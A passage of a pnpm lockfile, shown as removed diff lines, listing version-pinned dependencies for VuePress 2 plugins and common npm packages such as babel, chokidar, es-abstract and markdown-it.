- '@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- mitt: 3.0.1
- register-service-worker: 1.7.2
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- workbox-build: 7.1.1
- transitivePeerDependencies:
- - '@types/babel__core'
- - '@vue/composition-api'
- - supports-color
- - typescript
-
- '@vuepress/plugin-reading-time@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-rtl@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-sass-palette@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- chokidar: 3.6.0
- sass: 1.77.8
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-seo@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-shiki@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@shikijs/transformers': 1.11.1
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/highlighter-helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- nanoid: 5.0.7
- shiki: 1.11.1
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-sitemap@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- sitemap: 8.0.0
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-theme-data@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vue/devtools-api': 6.6.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-watermark@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- watermark-js-plus: 1.5.2
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/shared@2.0.0-rc.14':
- dependencies:
- '@mdit-vue/types': 2.1.0
-
- '@vuepress/utils@2.0.0-rc.14':
- dependencies:
- '@types/debug': 4.1.12
- '@types/fs-extra': 11.0.4
- '@types/hash-sum': 1.0.2
- '@vuepress/shared': 2.0.0-rc.14
- debug: 4.3.5
- fs-extra: 11.2.0
- globby: 14.0.2
- hash-sum: 2.0.0
- ora: 8.0.1
- picocolors: 1.0.1
- upath: 2.0.1
- transitivePeerDependencies:
- - supports-color
-
- '@vueuse/core@10.11.0(vue@3.4.34)':
- dependencies:
- '@types/web-bluetooth': 0.0.20
- '@vueuse/metadata': 10.11.0
- '@vueuse/shared': 10.11.0(vue@3.4.34)
- vue-demi: 0.14.9(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - vue
-
- '@vueuse/metadata@10.11.0': {}
-
- '@vueuse/shared@10.11.0(vue@3.4.34)':
- dependencies:
- vue-demi: 0.14.9(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - vue
-
- acorn@8.12.1: {}
-
- ajv@8.17.1:
- dependencies:
- fast-deep-equal: 3.1.3
- fast-uri: 3.0.1
- json-schema-traverse: 1.0.0
- require-from-string: 2.0.2
-
- algoliasearch@4.24.0:
- dependencies:
- '@algolia/cache-browser-local-storage': 4.24.0
- '@algolia/cache-common': 4.24.0
- '@algolia/cache-in-memory': 4.24.0
- '@algolia/client-account': 4.24.0
- '@algolia/client-analytics': 4.24.0
- '@algolia/client-common': 4.24.0
- '@algolia/client-personalization': 4.24.0
- '@algolia/client-search': 4.24.0
- '@algolia/logger-common': 4.24.0
- '@algolia/logger-console': 4.24.0
- '@algolia/recommend': 4.24.0
- '@algolia/requester-browser-xhr': 4.24.0
- '@algolia/requester-common': 4.24.0
- '@algolia/requester-node-http': 4.24.0
- '@algolia/transporter': 4.24.0
-
- ansi-regex@5.0.1: {}
-
- ansi-regex@6.0.1: {}
-
- ansi-styles@3.2.1:
- dependencies:
- color-convert: 1.9.3
-
- ansi-styles@4.3.0:
- dependencies:
- color-convert: 2.0.1
-
- anymatch@3.1.3:
- dependencies:
- normalize-path: 3.0.0
- picomatch: 2.3.1
-
- arg@5.0.2: {}
-
- argparse@1.0.10:
- dependencies:
- sprintf-js: 1.0.3
-
- argparse@2.0.1: {}
-
- array-buffer-byte-length@1.0.1:
- dependencies:
- call-bind: 1.0.7
- is-array-buffer: 3.0.4
-
- arraybuffer.prototype.slice@1.0.3:
- dependencies:
- array-buffer-byte-length: 1.0.1
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-abstract: 1.23.3
- es-errors: 1.3.0
- get-intrinsic: 1.2.4
- is-array-buffer: 3.0.4
- is-shared-array-buffer: 1.0.3
-
- async@3.2.5: {}
-
- at-least-node@1.0.0: {}
-
- autoprefixer@10.4.19(postcss@8.4.40):
- dependencies:
- browserslist: 4.23.2
- caniuse-lite: 1.0.30001643
- fraction.js: 4.3.7
- normalize-range: 0.1.2
- picocolors: 1.0.1
- postcss: 8.4.40
- postcss-value-parser: 4.2.0
-
- available-typed-arrays@1.0.7:
- dependencies:
- possible-typed-array-names: 1.0.0
-
- babel-plugin-polyfill-corejs2@0.4.11(@babel/core@7.24.9):
- dependencies:
- '@babel/compat-data': 7.24.9
- '@babel/core': 7.24.9
- '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9)
- semver: 6.3.1
- transitivePeerDependencies:
- - supports-color
-
- babel-plugin-polyfill-corejs3@0.10.4(@babel/core@7.24.9):
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9)
- core-js-compat: 3.37.1
- transitivePeerDependencies:
- - supports-color
-
- babel-plugin-polyfill-regenerator@0.6.2(@babel/core@7.24.9):
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- balanced-match@1.0.2: {}
-
- balloon-css@1.2.0: {}
-
- bcrypt-ts@5.0.2: {}
-
- binary-extensions@2.3.0: {}
-
- boolbase@1.0.0: {}
-
- brace-expansion@1.1.11:
- dependencies:
- balanced-match: 1.0.2
- concat-map: 0.0.1
-
- brace-expansion@2.0.1:
- dependencies:
- balanced-match: 1.0.2
-
- braces@3.0.3:
- dependencies:
- fill-range: 7.1.1
-
- browserslist@4.23.2:
- dependencies:
- caniuse-lite: 1.0.30001643
- electron-to-chromium: 1.5.1
- node-releases: 2.0.18
- update-browserslist-db: 1.1.0(browserslist@4.23.2)
-
- buffer-from@1.1.2: {}
-
- builtin-modules@3.3.0: {}
-
- cac@6.7.14: {}
-
- call-bind@1.0.7:
- dependencies:
- es-define-property: 1.0.0
- es-errors: 1.3.0
- function-bind: 1.1.2
- get-intrinsic: 1.2.4
- set-function-length: 1.2.2
-
- camelcase@5.3.1: {}
-
- caniuse-lite@1.0.30001643: {}
-
- chalk@2.4.2:
- dependencies:
- ansi-styles: 3.2.1
- escape-string-regexp: 1.0.5
- supports-color: 5.5.0
-
- chalk@4.1.2:
- dependencies:
- ansi-styles: 4.3.0
- supports-color: 7.2.0
-
- chalk@5.3.0: {}
-
- cheerio-select@2.1.0:
- dependencies:
- boolbase: 1.0.0
- css-select: 5.1.0
- css-what: 6.1.0
- domelementtype: 2.3.0
- domhandler: 5.0.3
- domutils: 3.1.0
-
- cheerio@1.0.0-rc.12:
- dependencies:
- cheerio-select: 2.1.0
- dom-serializer: 2.0.0
- domhandler: 5.0.3
- domutils: 3.1.0
- htmlparser2: 8.0.2
- parse5: 7.1.2
- parse5-htmlparser2-tree-adapter: 7.0.0
-
- chokidar@3.6.0:
- dependencies:
- anymatch: 3.1.3
- braces: 3.0.3
- glob-parent: 5.1.2
- is-binary-path: 2.1.0
- is-glob: 4.0.3
- normalize-path: 3.0.0
- readdirp: 3.6.0
- optionalDependencies:
- fsevents: 2.3.3
-
- cli-cursor@4.0.0:
- dependencies:
- restore-cursor: 4.0.0
-
- cli-spinners@2.9.2: {}
-
- cliui@6.0.0:
- dependencies:
- string-width: 4.2.3
- strip-ansi: 6.0.1
- wrap-ansi: 6.2.0
-
- color-convert@1.9.3:
- dependencies:
- color-name: 1.1.3
-
- color-convert@2.0.1:
- dependencies:
- color-name: 1.1.4
-
- color-name@1.1.3: {}
-
- color-name@1.1.4: {}
-
- commander@2.20.3: {}
-
- commander@9.2.0: {}
-
- common-tags@1.8.2: {}
-
- concat-map@0.0.1: {}
-
- connect-history-api-fallback@2.0.0: {}
-
- convert-source-map@2.0.0: {}
-
- core-js-compat@3.37.1:
- dependencies:
- browserslist: 4.23.2
-
- create-codepen@2.0.0: {}
-
- cross-spawn@7.0.3:
- dependencies:
- path-key: 3.1.1
- shebang-command: 2.0.0
- which: 2.0.2
-
- crypto-random-string@2.0.0: {}
-
- css-select@5.1.0:
- dependencies:
- boolbase: 1.0.0
- css-what: 6.1.0
- domhandler: 5.0.3
- domutils: 3.1.0
- nth-check: 2.1.1
-
- css-what@6.1.0: {}
-
- csstype@3.1.3: {}
-
- data-view-buffer@1.0.1:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- is-data-view: 1.0.1
-
- data-view-byte-length@1.0.1:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- is-data-view: 1.0.1
-
- data-view-byte-offset@1.0.0:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- is-data-view: 1.0.1
-
- dayjs@1.11.12: {}
-
- debug@4.3.5:
- dependencies:
- ms: 2.1.2
-
- decamelize@1.2.0: {}
-
- deepmerge@4.3.1: {}
-
- define-data-property@1.1.4:
- dependencies:
- es-define-property: 1.0.0
- es-errors: 1.3.0
- gopd: 1.0.1
-
- define-properties@1.2.1:
- dependencies:
- define-data-property: 1.1.4
- has-property-descriptors: 1.0.2
- object-keys: 1.1.1
-
- dijkstrajs@1.0.3: {}
-
- dom-serializer@2.0.0:
- dependencies:
- domelementtype: 2.3.0
- domhandler: 5.0.3
- entities: 4.5.0
-
- domelementtype@2.3.0: {}
-
- domhandler@5.0.3:
- dependencies:
- domelementtype: 2.3.0
-
- domutils@3.1.0:
- dependencies:
- dom-serializer: 2.0.0
- domelementtype: 2.3.0
- domhandler: 5.0.3
-
- ejs@3.1.10:
- dependencies:
- jake: 10.9.2
-
- electron-to-chromium@1.5.1: {}
-
- emoji-regex@10.3.0: {}
-
- emoji-regex@8.0.0: {}
-
- encode-utf8@1.0.3: {}
-
- entities@4.5.0: {}
-
- envinfo@7.13.0: {}
-
- es-abstract@1.23.3:
- dependencies:
- array-buffer-byte-length: 1.0.1
- arraybuffer.prototype.slice: 1.0.3
- available-typed-arrays: 1.0.7
- call-bind: 1.0.7
- data-view-buffer: 1.0.1
- data-view-byte-length: 1.0.1
- data-view-byte-offset: 1.0.0
- es-define-property: 1.0.0
- es-errors: 1.3.0
- es-object-atoms: 1.0.0
- es-set-tostringtag: 2.0.3
- es-to-primitive: 1.2.1
- function.prototype.name: 1.1.6
- get-intrinsic: 1.2.4
- get-symbol-description: 1.0.2
- globalthis: 1.0.4
- gopd: 1.0.1
- has-property-descriptors: 1.0.2
- has-proto: 1.0.3
- has-symbols: 1.0.3
- hasown: 2.0.2
- internal-slot: 1.0.7
- is-array-buffer: 3.0.4
- is-callable: 1.2.7
- is-data-view: 1.0.1
- is-negative-zero: 2.0.3
- is-regex: 1.1.4
- is-shared-array-buffer: 1.0.3
- is-string: 1.0.7
- is-typed-array: 1.1.13
- is-weakref: 1.0.2
- object-inspect: 1.13.2
- object-keys: 1.1.1
- object.assign: 4.1.5
- regexp.prototype.flags: 1.5.2
- safe-array-concat: 1.1.2
- safe-regex-test: 1.0.3
- string.prototype.trim: 1.2.9
- string.prototype.trimend: 1.0.8
- string.prototype.trimstart: 1.0.8
- typed-array-buffer: 1.0.2
- typed-array-byte-length: 1.0.1
- typed-array-byte-offset: 1.0.2
- typed-array-length: 1.0.6
- unbox-primitive: 1.0.2
- which-typed-array: 1.1.15
-
- es-define-property@1.0.0:
- dependencies:
- get-intrinsic: 1.2.4
-
- es-errors@1.3.0: {}
-
- es-object-atoms@1.0.0:
- dependencies:
- es-errors: 1.3.0
-
- es-set-tostringtag@2.0.3:
- dependencies:
- get-intrinsic: 1.2.4
- has-tostringtag: 1.0.2
- hasown: 2.0.2
-
- es-to-primitive@1.2.1:
- dependencies:
- is-callable: 1.2.7
- is-date-object: 1.0.5
- is-symbol: 1.0.4
-
- esbuild@0.21.5:
- optionalDependencies:
- '@esbuild/aix-ppc64': 0.21.5
- '@esbuild/android-arm': 0.21.5
- '@esbuild/android-arm64': 0.21.5
- '@esbuild/android-x64': 0.21.5
- '@esbuild/darwin-arm64': 0.21.5
- '@esbuild/darwin-x64': 0.21.5
- '@esbuild/freebsd-arm64': 0.21.5
- '@esbuild/freebsd-x64': 0.21.5
- '@esbuild/linux-arm': 0.21.5
- '@esbuild/linux-arm64': 0.21.5
- '@esbuild/linux-ia32': 0.21.5
- '@esbuild/linux-loong64': 0.21.5
- '@esbuild/linux-mips64el': 0.21.5
- '@esbuild/linux-ppc64': 0.21.5
- '@esbuild/linux-riscv64': 0.21.5
- '@esbuild/linux-s390x': 0.21.5
- '@esbuild/linux-x64': 0.21.5
- '@esbuild/netbsd-x64': 0.21.5
- '@esbuild/openbsd-x64': 0.21.5
- '@esbuild/sunos-x64': 0.21.5
- '@esbuild/win32-arm64': 0.21.5
- '@esbuild/win32-ia32': 0.21.5
- '@esbuild/win32-x64': 0.21.5
-
- escalade@3.1.2: {}
-
- escape-string-regexp@1.0.5: {}
-
- esm@3.2.25: {}
-
- esprima@4.0.1: {}
-
- estree-walker@1.0.1: {}
-
- estree-walker@2.0.2: {}
-
- esutils@2.0.3: {}
-
- execa@9.3.0:
- dependencies:
- '@sindresorhus/merge-streams': 4.0.0
- cross-spawn: 7.0.3
- figures: 6.1.0
- get-stream: 9.0.1
- human-signals: 7.0.0
- is-plain-obj: 4.1.0
- is-stream: 4.0.1
- npm-run-path: 5.3.0
- pretty-ms: 9.1.0
- signal-exit: 4.1.0
- strip-final-newline: 4.0.0
- yoctocolors: 2.1.1
-
- extend-shallow@2.0.1:
- dependencies:
- is-extendable: 0.1.1
-
- fast-deep-equal@3.1.3: {}
-
- fast-glob@3.3.2:
- dependencies:
- '@nodelib/fs.stat': 2.0.5
- '@nodelib/fs.walk': 1.2.8
- glob-parent: 5.1.2
- merge2: 1.4.1
- micromatch: 4.0.7
-
- fast-json-stable-stringify@2.1.0: {}
-
- fast-uri@3.0.1: {}
-
- fastq@1.17.1:
- dependencies:
- reusify: 1.0.4
-
- fflate@0.8.2: {}
-
- figures@6.1.0:
- dependencies:
- is-unicode-supported: 2.0.0
-
- filelist@1.0.4:
- dependencies:
- minimatch: 5.1.6
-
- fill-range@7.1.1:
- dependencies:
- to-regex-range: 5.0.1
-
- find-up@4.1.0:
- dependencies:
- locate-path: 5.0.0
- path-exists: 4.0.0
-
- for-each@0.3.3:
- dependencies:
- is-callable: 1.2.7
-
- fraction.js@4.3.7: {}
-
- fs-extra@11.2.0:
- dependencies:
- graceful-fs: 4.2.11
- jsonfile: 6.1.0
- universalify: 2.0.1
-
- fs-extra@9.1.0:
- dependencies:
- at-least-node: 1.0.0
- graceful-fs: 4.2.11
- jsonfile: 6.1.0
- universalify: 2.0.1
-
- fs.realpath@1.0.0: {}
-
- fsevents@2.3.3:
- optional: true
-
- function-bind@1.1.2: {}
-
- function.prototype.name@1.1.6:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-abstract: 1.23.3
- functions-have-names: 1.2.3
-
- functions-have-names@1.2.3: {}
-
- gensync@1.0.0-beta.2: {}
-
- get-caller-file@2.0.5: {}
-
- get-east-asian-width@1.2.0: {}
-
- get-intrinsic@1.2.4:
- dependencies:
- es-errors: 1.3.0
- function-bind: 1.1.2
- has-proto: 1.0.3
- has-symbols: 1.0.3
- hasown: 2.0.2
-
- get-own-enumerable-property-symbols@3.0.2: {}
-
- get-stream@9.0.1:
- dependencies:
- '@sec-ant/readable-stream': 0.4.1
- is-stream: 4.0.1
-
- get-symbol-description@1.0.2:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- get-intrinsic: 1.2.4
-
- giscus@1.5.0:
- dependencies:
- lit: 3.1.4
-
- glob-parent@5.1.2:
- dependencies:
- is-glob: 4.0.3
-
- glob@7.2.3:
- dependencies:
- fs.realpath: 1.0.0
- inflight: 1.0.6
- inherits: 2.0.4
- minimatch: 3.1.2
- once: 1.4.0
- path-is-absolute: 1.0.1
-
- globals@11.12.0: {}
-
- globalthis@1.0.4:
- dependencies:
- define-properties: 1.2.1
- gopd: 1.0.1
-
- globby@14.0.2:
- dependencies:
- '@sindresorhus/merge-streams': 2.3.0
- fast-glob: 3.3.2
- ignore: 5.3.1
- path-type: 5.0.0
- slash: 5.1.0
- unicorn-magic: 0.1.0
-
- gopd@1.0.1:
- dependencies:
- get-intrinsic: 1.2.4
-
- graceful-fs@4.2.11: {}
-
- gray-matter@4.0.3:
- dependencies:
- js-yaml: 3.14.1
- kind-of: 6.0.3
- section-matter: 1.0.0
- strip-bom-string: 1.0.0
-
- has-bigints@1.0.2: {}
-
- has-flag@3.0.0: {}
-
- has-flag@4.0.0: {}
-
- has-property-descriptors@1.0.2:
- dependencies:
- es-define-property: 1.0.0
-
- has-proto@1.0.3: {}
-
- has-symbols@1.0.3: {}
-
- has-tostringtag@1.0.2:
- dependencies:
- has-symbols: 1.0.3
-
- hash-sum@2.0.0: {}
-
- hasown@2.0.2:
- dependencies:
- function-bind: 1.1.2
-
- htmlparser2@8.0.2:
- dependencies:
- domelementtype: 2.3.0
- domhandler: 5.0.3
- domutils: 3.1.0
- entities: 4.5.0
-
- human-signals@7.0.0: {}
-
- idb@7.1.1: {}
-
- ignore@5.3.1: {}
-
- immutable@4.3.7: {}
-
- inflight@1.0.6:
- dependencies:
- once: 1.4.0
- wrappy: 1.0.2
-
- inherits@2.0.4: {}
-
- internal-slot@1.0.7:
- dependencies:
- es-errors: 1.3.0
- hasown: 2.0.2
- side-channel: 1.0.6
-
- is-array-buffer@3.0.4:
- dependencies:
- call-bind: 1.0.7
- get-intrinsic: 1.2.4
-
- is-bigint@1.0.4:
- dependencies:
- has-bigints: 1.0.2
-
- is-binary-path@2.1.0:
- dependencies:
- binary-extensions: 2.3.0
-
- is-boolean-object@1.1.2:
- dependencies:
- call-bind: 1.0.7
- has-tostringtag: 1.0.2
-
- is-builtin-module@3.2.1:
- dependencies:
- builtin-modules: 3.3.0
-
- is-callable@1.2.7: {}
-
- is-core-module@2.15.0:
- dependencies:
- hasown: 2.0.2
-
- is-data-view@1.0.1:
- dependencies:
- is-typed-array: 1.1.13
-
- is-date-object@1.0.5:
- dependencies:
- has-tostringtag: 1.0.2
-
- is-extendable@0.1.1: {}
-
- is-extglob@2.1.1: {}
-
- is-fullwidth-code-point@3.0.0: {}
-
- is-glob@4.0.3:
- dependencies:
- is-extglob: 2.1.1
-
- is-interactive@2.0.0: {}
-
- is-module@1.0.0: {}
-
- is-negative-zero@2.0.3: {}
-
- is-number-object@1.0.7:
- dependencies:
- has-tostringtag: 1.0.2
-
- is-number@7.0.0: {}
-
- is-obj@1.0.1: {}
-
- is-plain-obj@4.1.0: {}
-
- is-regex@1.1.4:
- dependencies:
- call-bind: 1.0.7
- has-tostringtag: 1.0.2
-
- is-regexp@1.0.0: {}
-
- is-shared-array-buffer@1.0.3:
- dependencies:
- call-bind: 1.0.7
-
- is-stream@2.0.1: {}
-
- is-stream@4.0.1: {}
-
- is-string@1.0.7:
- dependencies:
- has-tostringtag: 1.0.2
-
- is-symbol@1.0.4:
- dependencies:
- has-symbols: 1.0.3
-
- is-typed-array@1.1.13:
- dependencies:
- which-typed-array: 1.1.15
-
- is-unicode-supported@1.3.0: {}
-
- is-unicode-supported@2.0.0: {}
-
- is-weakref@1.0.2:
- dependencies:
- call-bind: 1.0.7
-
- isarray@2.0.5: {}
-
- isexe@2.0.0: {}
-
- jake@10.9.2:
- dependencies:
- async: 3.2.5
- chalk: 4.1.2
- filelist: 1.0.4
- minimatch: 3.1.2
-
- js-tokens@4.0.0: {}
-
- js-yaml@3.14.1:
- dependencies:
- argparse: 1.0.10
- esprima: 4.0.1
-
- js-yaml@4.1.0:
- dependencies:
- argparse: 2.0.1
-
- jsesc@0.5.0: {}
-
- jsesc@2.5.2: {}
-
- json-schema-traverse@1.0.0: {}
-
- json-schema@0.4.0: {}
-
- json5@2.2.3: {}
-
- jsonfile@6.1.0:
- dependencies:
- universalify: 2.0.1
- optionalDependencies:
- graceful-fs: 4.2.11
-
- jsonpointer@5.0.1: {}
-
- kind-of@6.0.3: {}
-
- leven@3.1.0: {}
-
- lilconfig@3.1.2: {}
-
- linkify-it@5.0.0:
- dependencies:
- uc.micro: 2.1.0
-
- lit-element@4.0.6:
- dependencies:
- '@lit-labs/ssr-dom-shim': 1.2.0
- '@lit/reactive-element': 2.0.4
- lit-html: 3.1.4
-
- lit-html@3.1.4:
- dependencies:
- '@types/trusted-types': 2.0.7
-
- lit@3.1.4:
- dependencies:
- '@lit/reactive-element': 2.0.4
- lit-element: 4.0.6
- lit-html: 3.1.4
-
- locate-path@5.0.0:
- dependencies:
- p-locate: 4.1.0
-
- lodash.debounce@4.0.8: {}
-
- lodash.sortby@4.7.0: {}
-
- lodash@4.17.21: {}
-
- log-symbols@6.0.0:
- dependencies:
- chalk: 5.3.0
- is-unicode-supported: 1.3.0
-
- lru-cache@5.1.1:
- dependencies:
- yallist: 3.1.1
-
- magic-string@0.25.9:
- dependencies:
- sourcemap-codec: 1.4.8
-
- magic-string@0.30.10:
- dependencies:
- '@jridgewell/sourcemap-codec': 1.5.0
-
- markdown-it-anchor@9.0.1(@types/markdown-it@14.1.2)(markdown-it@14.1.0):
- dependencies:
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- markdown-it-emoji@3.0.0: {}
-
- markdown-it@14.1.0:
- dependencies:
- argparse: 2.0.1
- entities: 4.5.0
- linkify-it: 5.0.0
- mdurl: 2.0.0
- punycode.js: 2.3.1
- uc.micro: 2.1.0
-
- mathjax-full@3.2.2:
- dependencies:
- esm: 3.2.25
- mhchemparser: 4.2.1
- mj-context-menu: 0.6.1
- speech-rule-engine: 4.0.7
-
- mdurl@2.0.0: {}
-
- merge2@1.4.1: {}
-
- mhchemparser@4.2.1: {}
-
- micromatch@4.0.7:
- dependencies:
- braces: 3.0.3
- picomatch: 2.3.1
-
- mimic-fn@2.1.0: {}
-
- minimatch@3.1.2:
- dependencies:
- brace-expansion: 1.1.11
-
- minimatch@5.1.6:
- dependencies:
- brace-expansion: 2.0.1
-
- mitt@3.0.1: {}
-
- mj-context-menu@0.6.1: {}
-
- ms@2.1.2: {}
-
- nanoid@3.3.7: {}
-
- nanoid@5.0.7: {}
-
- node-releases@2.0.18: {}
-
- normalize-path@3.0.0: {}
-
- normalize-range@0.1.2: {}
-
- npm-run-path@5.3.0:
- dependencies:
- path-key: 4.0.0
-
- nth-check@2.1.1:
- dependencies:
- boolbase: 1.0.0
-
- object-inspect@1.13.2: {}
-
- object-keys@1.1.1: {}
-
- object.assign@4.1.5:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- has-symbols: 1.0.3
- object-keys: 1.1.1
-
- once@1.4.0:
- dependencies:
- wrappy: 1.0.2
-
- onetime@5.1.2:
- dependencies:
- mimic-fn: 2.1.0
-
- ora@8.0.1:
- dependencies:
- chalk: 5.3.0
- cli-cursor: 4.0.0
- cli-spinners: 2.9.2
- is-interactive: 2.0.0
- is-unicode-supported: 2.0.0
- log-symbols: 6.0.0
- stdin-discarder: 0.2.2
- string-width: 7.2.0
- strip-ansi: 7.1.0
-
- p-limit@2.3.0:
- dependencies:
- p-try: 2.2.0
-
- p-locate@4.1.0:
- dependencies:
- p-limit: 2.3.0
-
- p-try@2.2.0: {}
-
- parse-ms@4.0.0: {}
-
- parse5-htmlparser2-tree-adapter@7.0.0:
- dependencies:
- domhandler: 5.0.3
- parse5: 7.1.2
-
- parse5@7.1.2:
- dependencies:
- entities: 4.5.0
-
- path-exists@4.0.0: {}
-
- path-is-absolute@1.0.1: {}
-
- path-key@3.1.1: {}
-
- path-key@4.0.0: {}
-
- path-parse@1.0.7: {}
-
- path-type@5.0.0: {}
-
- photoswipe@5.4.4: {}
-
- picocolors@1.0.1: {}
-
- picomatch@2.3.1: {}
-
- pngjs@5.0.0: {}
-
- possible-typed-array-names@1.0.0: {}
-
- postcss-load-config@6.0.1(postcss@8.4.40):
- dependencies:
- lilconfig: 3.1.2
- optionalDependencies:
- postcss: 8.4.40
-
- postcss-value-parser@4.2.0: {}
-
- postcss@8.4.40:
- dependencies:
- nanoid: 3.3.7
- picocolors: 1.0.1
- source-map-js: 1.2.0
-
- preact@10.23.1: {}
-
- pretty-bytes@5.6.0: {}
-
- pretty-ms@9.1.0:
- dependencies:
- parse-ms: 4.0.0
-
- punycode.js@2.3.1: {}
-
- punycode@2.3.1: {}
-
- qrcode@1.5.3:
- dependencies:
- dijkstrajs: 1.0.3
- encode-utf8: 1.0.3
- pngjs: 5.0.0
- yargs: 15.4.1
-
- queue-microtask@1.2.3: {}
-
- randombytes@2.1.0:
- dependencies:
- safe-buffer: 5.2.1
-
- readdirp@3.6.0:
- dependencies:
- picomatch: 2.3.1
-
- regenerate-unicode-properties@10.1.1:
- dependencies:
